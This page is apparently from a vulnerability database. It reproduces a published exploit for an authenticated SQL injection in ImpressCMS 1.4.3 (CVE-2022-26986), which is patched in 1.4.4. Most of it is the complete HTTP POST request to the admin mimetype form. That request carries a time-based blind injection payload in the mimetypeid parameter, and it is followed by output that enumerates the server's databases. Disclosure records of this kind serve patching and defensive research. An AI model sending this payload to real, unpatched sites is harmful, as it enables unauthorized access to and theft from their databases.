Lucene search
K

ImpressCMS 1.4.3 SQL Injection

🗓️ 27 Mar 2023 00:00:00Reported by Sarang TumneType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 177 Views

ImpressCMS 1.4.3 SQL Injection, Authenticated, CVE-2022-26986, Patched in v1.4.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ImpressCMS v1.4.3 - Authenticated SQL Injection Vulnerability
27 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-26986
5 Apr 202215:15
attackerkb
Circl
CVE-2022-26986
5 Apr 202218:27
circl
CNNVD
ImpressCMS SQL注入漏洞
5 Apr 202200:00
cnnvd
CNVD
ImpressCMS SQL Injection Vulnerability (CNVD-2022-30798)
6 Apr 202200:00
cnvd
CVE
CVE-2022-26986
5 Apr 202200:00
cve
Cvelist
CVE-2022-26986
5 Apr 202200:00
cvelist
Exploit DB
ImpressCMS v1.4.3 - Authenticated SQL Injection
25 Mar 202300:00
exploitdb
EUVD
EUVD-2022-1718
3 Oct 202520:07
euvd
Github Security Blog
SQL injection in ImpressCMS
6 Apr 202200:01
github
Rows per page
`# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3  
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)  
# Date: 7th March 2022  
# CVE ID: CVE-2022-26986  
# Confirmed on release 1.4.3, this vulnerability is patched in the version 1.4.4 and above...  
# Vendor: https://www.impresscms.org  
# Source: https://github.com/ImpressCMS/impresscms/releases/tag/v1.4.3  
  
###############################################  
#Step1- Login with Admin Credentials  
#Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):  
  
POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1  
Host: 192.168.56.117  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701  
Content-Length: 1011  
Origin: http://192.168.56.117  
Connection: close  
Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1  
Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3  
Upgrade-Insecure-Requests: 1  
  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="mimetypeid"  
  
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="extension"  
  
bin  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="types"  
  
application/octet-stream  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="name"  
  
Binary File/Linux Executable  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="icms_page_before_form"  
  
http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="op"  
  
addmimetype  
-----------------------------40629177308912268471540748701  
Content-Disposition: form-data; name="modify_button"  
  
Submit  
-----------------------------40629177308912268471540748701--  
  
Vulnerable Payload:  
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) //time-based blind (query SLEEP)  
  
Output:  
web application technology: Apache 2.4.52, PHP 7.4.27  
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)  
available databases [6]:  
[*] impresscms  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] test  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Mar 2023 00:00Current
7High risk
Vulners AI Score7
CVSS 3.17.2
CVSS 28.5
EPSS0.01419
177